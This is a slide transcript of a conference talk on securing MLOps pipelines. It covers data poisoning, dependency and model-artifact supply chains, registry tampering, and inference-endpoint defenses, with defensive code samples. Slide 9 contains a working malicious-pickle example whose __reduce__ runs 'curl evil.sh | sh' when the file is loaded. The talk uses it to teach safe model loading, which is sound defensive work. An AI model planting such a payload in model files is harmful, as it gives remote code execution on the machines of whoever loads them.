Share
Defending the AI Factory: Practical Security Strategies for MLOps
As machine learning models transition from experimental notebooks into critical production systems, they become primary targets for sophisticated cyberattacks. Standard DevOps security is no longer enough to protect the unique components of the machine learning lifecycle. This intermediate-level talk dives deep into SecMLOps (Security in Machine Learning Operations), exploring how vulnerabilities manifest across the entire ML pipeline. Attendees will learn how to secure data ingestion pipelines against data poisoning, protect model registries from unauthorized tampering, mitigate supply chain risks in Python dependencies, and defend deployed endpoints against adversarial and extraction attacks. Through real-world architectural patterns and practical toolchains, this session provides actionable strategies to build resilient, secure, and compliant AI systems without stalling developer velocity.
jmortegac
Transcript
32 slides
-
MLOps CONF42 NOVEMBER 19, 2026 · ONLINE Defending the AI
Factory Practical Security Strategies for MLOps Jose Manuel Ortega Alicante University · Intermediate -
CONF42 · MLOps ABOUT THE SPEAKER Jose Manuel Ortega •
Security engineer, author & university lecturer (Alicante University) • Books on Python security, cloud & serverless, and IoT • Focus: application security, supply chain and now ML/AI systems • josemanuelortegablog.com · linkedin.com/in/jmortega1 2 -
CONF42 · MLOps 3 AGENDA What we'll cover The Unique
Threat Landscape Why ML breaks the DevOps security model Data Pipeline & Supply Chain Data poisoning and Python dependency risk 03 Model Integrity & Inference Registry tampering, adversarial & extraction attacks 04 Automation, Access & Monitoring Secure CI/CD, least privilege, detection 01 02 -
PART ONE The Unique Threat Landscape Why standard DevOps security
is no longer enough 01 -
CONF42 · MLOps 5 From notebooks to critical infrastructure Models
make decisions Data is the crown jewels Credit, fraud, moderation, triage — a compromised model causes real-world harm, not just data loss. A new, poorly-defended surface Training data concentrates sensitive, proprietary and personal information in one place. ML artifacts, registries and endpoints are rarely covered by classic AppSec controls. -
CONF42 · MLOps 6 DevOps security vs the ML reality
What DevSecOps secures well What ML adds on top • Code: SAST/DAST, code review, secrets scanning • Data as code: poisoning has no stack trace • Containers & infra: image scanning, IaC policy • Non-deterministic models: hard to unit-test security • Deterministic builds and tests • Opaque binary artifacts (pickles, weights) • Known, signed, versioned artifacts • New attacks: evasion, extraction, inversion -
CONF42 · MLOps 7 The ML lifecycle is the attack
surface 1 2 3 4 5 Data Train Registry Serve Monitor Poisoning, PII leakage, unvetted sources Supply chain, malicious deps, compromised notebooks Artifact tampering, unsigned models Adversarial, extraction, prompt & API abuse Drift, silent failure, no detection -
CONF42 · MLOps 8 The ML threat taxonomy: OWASP ML
Top 10 Model & inference risks Pipeline & supply-chain risks • ML01 — Input manipulation (evasion) • ML06 — AI supply chain attacks • ML02 — Data poisoning • ML03 — Model inversion • ML04 — Membership inference • ML05 — Model theft / extraction • ML07 — Transfer-learning attack • ML08 — Model skewing • ML09 — Output integrity attack • ML10 — Model poisoning -
CONF42 · MLOps The ML threat taxonomy: OWASP ML Top
10 https://atlas.mitre.org https://www.nist.gov/itl/ai-risk-management-fra mework 8 -
CONF42 · MLOps 9 Why ML artifacts are dangerous import
pickle, os THE POINT class Payload: def __reduce__(self): # runs on load, not on use return (os.system, ("curl evil.sh | sh",)) • Loading a model can run code # attacker ships this as an innocent "model.pkl" pickle.dump(Payload(), open("model.pkl", "wb")) # victim just loads a "pretrained model": pickle.load(open("model.pkl", "rb")) # remote code execution # torch.load() and joblib.load() carry the SAME risk • RCE before inference even starts • Never load untrusted pickles • Prefer safetensors — data, not code • Scan artifacts with modelscan tool -
PART TWO 02 Data Pipeline & Supply Chain Security Poisoning
at ingestion, and the Python dependency problem -
CONF42 · MLOps 11 Data poisoning: corrupting what the model
learns ATTACK IMPACT DEFENSE Label flipping Model learns wrong decision boundary ✓ Statistical outlier & label audits Backdoor / trigger Hidden behaviour on a specific input pattern ✓ Provenance + anomaly detection on samples Feed / source abuse Attacker controls part of the training stream ✓ Vet, sign and rate-limit data sources -
CONF42 · MLOps 12 Hardening the data ingestion pipeline https://github.com/pydantic/pydantic
https://greatexpectations.io -
CONF42 · MLOps 14 Securing the ML software supply chain
SBOM + pinning Scan continuously Sign & verify artifacts Hash-locked requirements, generate an SBOM. Tools: pip-tools, uv, Syft, CycloneDX. Deps, containers and model files. Tools: pip-audit, Trivy, Grype, Safety, modelscan. Prove what you built and ran. Tools: Sigstore/cosign -
CONF42 · MLOps 15 A validation gate before training from
pydantic import BaseModel, Field, ValidationError WHAT THIS DOES class Record(BaseModel, extra="forbid"): # reject unknown fields amount: float = Field(ge=0, le=1_000_000) label: int = Field(ge=0, le=1) • Schema + range checks per record def ingest(batch: list[dict]) -> list[Record]: clean = [] for row in batch: try: clean.append(Record.model_validate(row)) except ValidationError: quarantine(row) # don't train on it — audit it guard_label_distribution(clean) # flag sudden label flips return clean • extra='forbid' blocks injected fields • Bad rows quarantined, not trained on • Distribution guard catches poisoning • Scale up with Great Expectations / TFDV -
CONF42 · MLOps 16 Freeze, scan and verify the supply
chain # 1) Pin + hash-lock deps (reproducible, tamper-evident) pip-compile --generate-hashes -o requirements.txt requirements.in pip install --require-hashes -r requirements.txt bash # 2) Scan dependencies AND the model file pip-audit -r requirements.txt # known CVEs in deps modelscan -p ./model.pkl # malicious pickle payloads # 3) Inventory + verify signatures before deploy syft dir:. -o cyclonedx-json > sbom.json cosign verify --key cosign.pub registry/model:1.4.0 WHAT THIS DOES • Hash-locked installs resist tampering • Scan deps AND model artifacts • SBOM = queryable inventory for CVEs • cosign verify = only trusted artifacts • Runs in CI on every build -
PART THREE 03 Model Integrity & Inference Protection Protect the
artifact at rest and the model at runtime -
CONF42 · MLOps 18 Model registry: the new artifact repository
to defend ATTACK IMPACT DEFENSE Unauthorized model swap Malicious model promoted to prod ✓ RBAC + signed, immutable versions Weight / artifact tampering Subtle behaviour change, no code diff ✓ Hash on write, verify on load Stage-gate bypass Untested model reaches serving ✓ Policy-gated promotion, approvals -
CONF42 · MLOps 20 Adversarial attacks at inference Evasion Tiny,
crafted perturbations flip the prediction. The input looks normal to a human. Perturbation at scale Automated, transferable examples probe the decision boundary via the API. Defenses Adversarial training, input preprocessing, detection & rate limits on the endpoint. -
CONF42 · MLOps 21 Stealing the model and its data
ATTACK IMPACT DEFENSE Model extraction Clone your model via its API ✓ Rate limit, watermark, output throttling Model inversion Reconstruct training data from outputs ✓ Limit confidence detail, DP training Membership inference Reveal if a record was in training ✓ Regularization, differential privacy -
CONF42 · MLOps 22 Defending the inference endpoint Authn &
authz per call No anonymous inference. API keys / OAuth, scoped per client and per model. Rate limit & quota Validate I/O Throttle probing; detect abnormal query volume and patterns per identity. Schema-check inputs (Pydantic), constrain outputs, log for abuse detection. -
CONF42 · MLOps 23 Sign the model, verify on load
# in CI, after training: # sha256sum model.pkl > model.sha256 # cosign sign-blob --key k model.pkl > model.sig import hashlib, subprocess, sys def verify_or_die(path, sig, pub): want = open(path + ".sha256").read().split()[0] got = hashlib.sha256(open(path, "rb").read()).hexdigest() if got != want: sys.exit("hash mismatch - tampered") # fail closed subprocess.check_call( ["cosign", "verify-blob", "--key", pub, "--signature", sig, path]) verify_or_die("model.pkl", "model.sig", "cosign.pub") WHAT THIS DOES • Hash binds the exact artifact • cosign proves who produced it • Serving refuses tampered / unsigned models • Admission control, not blind trust • Defends ML03 registry tampering -
CONF42 · MLOps 24 A hardened inference endpoint from fastapi
import FastAPI, Depends from pydantic import BaseModel, Field from slowapi import Limiter limiting WHAT THIS DOES # per-client rate • AuthN/Z on every call app = FastAPI(); limiter = Limiter(key_func=client_id) • Pydantic validates & bounds the input class Query(BaseModel, extra="forbid"): features: list[float] = Field(min_length=20, max_length=20) • Rate limit blunts extraction & evasion @app.post("/predict") @limiter.limit("60/minute") # throttle probing def predict(q: Query, who=Depends(auth)): # no anonymous calls label = model.predict([q.features])[0] return {"label": int(label)} # coarse output, no logits • Returns labels, not probability vectors • Defends ML01 / ML04 / ML05 -
PART FOUR Automation, Access Control & Monitoring Wire security into
the pipeline, identities and runtime 04 -
CONF42 · MLOps 26 Secure MLOps CI/CD: security as a
pipeline stage 1 2 3 4 Source Build Gate Deploy Signed commits, protected branches Pinned deps, SBOM, image & model scan Policy-as-code, eval + security gates Verify signature, canary, auto-rollback -
CONF42 · MLOps 27 Identity, access & secrets Least privilege
+ RBAC Short-lived credentials Centralized secrets Scoped roles for data, registry and deploy. Separate dev / staging / prod identities. Federated identity & STS tokens, not static keys. Rotate and revoke. No keys in code or notebooks. Tools: Vault, cloud secret managers, sealed-secrets. -
CONF42 · MLOps 28 Monitoring, detection & response Drift &
performance Watch data & prediction drift — silent degradation can mean an attack. Tools: Evidently, NannyML. Security telemetry Audit & respond Log inference I/O; alert on query spikes, anomalies, auth failures per identity. Immutable audit trail, model rollback, incident runbooks for ML-specific events. -
CONF42 · MLOps 30 Security as pipeline stages (CI) yaml
jobs: secure-ml: permissions: { id-token: write } # OIDC, short-lived steps: - run: pip install --require-hashes -r req.txt - run: pip-audit -r req.txt # dependency CVEs - run: modelscan -p model.pkl # malicious model - run: gitleaks detect --no-git # leaked secrets - run: opa eval -d policy.rego 'data.deploy.allow' - run: cosign sign-blob --key env://KEY model.pkl # any critical finding fails the job -> no deploy WHAT THIS DOES • Every gate runs on every commit • Fail closed on critical findings • OIDC: short-lived, least-priv runner creds • Policy-as-code gate with OPA • Signed artifacts flow to deploy -
Thank you! Defending the AI Factory REFERENCES & TOOLKIT •
OWASP ML Security Top 10 & MLSecOps — owasp.org • MITRE ATLAS (adversarial ML threats) — atlas.mitre.org • NIST AI Risk Management Framework — nist.gov • Tools: modelscan · cosign/Sigstore · Great Expectations · ART · Evidently Jose Manuel Ortega · Alicante University · linkedin.com/in/jmortega1